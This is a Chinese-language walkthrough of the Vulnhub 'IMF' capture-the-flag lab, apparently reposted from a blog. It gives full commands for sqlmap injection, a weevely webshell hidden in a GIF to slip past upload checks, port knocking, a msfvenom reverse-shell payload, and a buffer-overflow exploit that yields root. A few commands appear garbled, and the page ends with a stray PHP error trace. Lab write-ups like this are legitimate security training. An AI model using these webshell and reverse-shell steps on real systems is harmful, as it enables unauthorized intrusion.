admin 管理员组

文章数量: 887021

全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

靶机地址:,162/

靶机难度:中级(CTF)

靶机发布日期:2016年10月30日

靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。

目标:得到root权限&找到四个flag.txt

靶机wp作者:Jack渡鸦

用虚拟机开启今天的靶机

第一步扫出目标靶机的IP

命令:arp-scan -l

用nmap扫了一下,发现就开了一个80端口,访问靶机IP的80端口

把flag的值解码,得到一个值allthefiles

在页面按ctrl+f搜索等号,找到另外一个based64值,把三段拼成一个ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==,解码得flag2{aW1mYWRtaW5pc3RyYXRvcg==}

对flag2里面的值解码得imfadministrator,访问一下发现是目录路径,一个登录框

查看源代码

提示:我不能让SQL工作,所以我硬编码的密码。它仍然很安全。——罗杰

由于登录页面有报错机制,所以我们可以判断一下正确的用户名,根据刚刚的提示试试Roger是不是正确的用户名,发现报错

之前访问的页面看到过人名,试试rmichaels是不是正确的用户名

试了一下hydra爆破密码,虽然爆破出来了好几个但是全部都是失效的无法登录,然后我用burp抓包

得到flag3{Y29udGludWVUT2Ntcw==}和一个路径cms.php?pagename=home

解码flag3的内容得continueTOcms

访问才发现的路径

加就单引号报错,说明存在sql注入,所以我们直接上sqlmap

这里因为是基于登录之后的sql注入,所以我们需要加上cookie值,在有一道cve的漏洞我讲过这个点

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -dbs

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -tables

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -T pages --dump

访问找到的路径images/whiteboard.jpg,发现是一个二维码,扫描之后得到flag4

解码flag4里面的based64值,得到uploadr942.php,访问该路径发现一个文件上传的地方

使用kali上自带的一句话木马生成工具weevely生成php的木马(参考链接kali下的webshell工具-Weevely_@小张小张的博客-CSDN博客_kali webshell工具)

知识点:weevely是适用于php网站的webshell工具,使用weevely生成的木马免杀能力较强,而且使用加密连接,往往能轻松突破WAF拦截。

命令:weevely generate duya w.php

(duya是密码,一会连接要用,你可以任意取一个,w.php是文件名称)

接下来交你们做一个图片木马把w.php拖到主机上,随便找个目录放进去,再到网上找一个gif图保存到那个目录,gif图越小越好.

然后打开cmd

命令:copy 1.gif/b + w.php 88.gif

然后就生成了88.gif,这个gif图里就包含者w.php里面的木马

我们把生成的88.gif上传上去,显示上传成功

接下来我们打开源代码,获得gif文件上传到服务器的文件名称 a25ec328b432

然后找到上传路径,再使用weevely进行连接

成功得到低权限shell,然后得到flag5{YWdlbnRzZXJ2aWNlcw==}

把flag5的值解密之后得到提示agentservices

根据提示查找文件

命令: find / -name agent &>2/dev/unull

在/usr/local/bin目录发现提示的信息,agent文件

查看agent发现是ELF 32位执行文件

用cat命令查看access_codes,发现提示SYN 7482,8279,9467
这边提示端口试探,我们可以使用knock命令试探一下

命令:knock -v 192.168.0.154 7482 8279 9467

查一下端口发现服务器运行7788应该就是agent的端口了
但是前面nmap没有扫描到,端口试探应该是针对这个端口的

连接一下7788端口,发现需要输入正确的id

没关系,我们先将agent文件下载到本地然后再分析

命令:file_download /usr/local/bin/agent /root/桌面/ssss/agent

先赋予agent文件可读可写可执行的权限,然后我们使用ltrace跟踪agent在执行过程中调用库函数的情况,第一次使用这个函数可能需要下载一下

知识点 ltrace:跟踪进程调用库函数

ltrace 能够跟踪进程的库函数调用,它会显现出调用了哪个库函数

命令:ltrace ./agent

在fgets处随便输入内容,然后strncmp函数会将我们输入的内容和agent ID进行对比,这样就使得agent的真实ID的为48093572

再次执行agent并输入正确id得到三个选项

  1. 提取分
  2. 请求提取
  3. 提交报告

其中选项2和3可以让用户输入内容,这样看来应该是要通过缓冲区溢出7788端口的agent程序,然后用二进制修改exp为agent进程创建一个shell,首先我们为msfvenom有效负载创建一个shellcode

使用msfvenom创建一个shellcode

命令: msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.154 LPORT=4489 -b “\x00\x0a\x0” -f python -o /root/桌面/ssss/k.py

指令解释:

-p 选择payload(此次因为agent是32位,所以使用X86

LHOST 、LPORT 监测主机IP和端口

-b 在生成的程序中避免出现的值

\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)

\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)

\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)

-f 指定生成xxx格式

-o 输入路径和文件

小知识点:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。. shellcode常常使用机器语言编写。. 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令,Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心

生成这段shellcode之后,我们需要编写一个缓冲区溢出漏洞sploit的exp,我这边是直接在github上找了大佬写好的exp

我们把agentsploit.py下载下来拉到kali中,然后把原代码中的这段shellcode替换成我们刚刚用msfvenom生成的shellcode就可以了

开启监听

命令: nc -lvnp 4489

使用exp和对应的shellcode对7788服务器进行缓冲区溢出攻击

命令:python2 agentsploit.py 192.168.0.154 7788

成功连接得到root权限,拿到flag6

flag6解码得GhostProtocols,意思是幽灵协议

今天这台靶机涉及的知识点非常全面

1.有文件上传漏洞,

2.基于cookie的sql注入漏洞,

3.sqlmap的使用,

4.用kali自带的木马生成工具weevely生成绕waf的一句话木马

5.使用绕waf的木马和普通gif结合生成gif图片木马,

6.使用knock敲开隐藏的服务器端口,

7.使用ltrace函数跟踪进程的库函数调用从而得到正确id,

8.用msfvenom生成一个针对性的shellcode然后对目标服务器端口进行缓冲区溢出攻击从而得到root权限

今天的这台靶机结束,希望你们能从中学到东西,如果觉得还不错可以点个赞让我知道。我是渡鸦,每天更新一台vulnhub靶机,关注我带你打完百台靶机项目实战,欢迎老爷们关注我一起提升技术,留言进入vulnhub渗透测试交流群一起进步。

本文标签:

Error[2]: Invalid argument supplied for foreach(), File: /www/wwwroot/freenas.com.cn/tmp/view_template_quzhiwa_htm_read.htm, Line: 58
File: /www/wwwroot/freenas.com.cn/tmp/route_read.php, Line: 205, include(/www/wwwroot/freenas.com.cn/tmp/view_template_quzhiwa_htm_read.htm)
File: /www/wwwroot/freenas.com.cn/tmp/index.inc.php, Line: 129, include(/www/wwwroot/freenas.com.cn/tmp/route_read.php)
File: /www/wwwroot/freenas.com.cn/index.php, Line: 29, include(/www/wwwroot/freenas.com.cn/tmp/index.inc.php)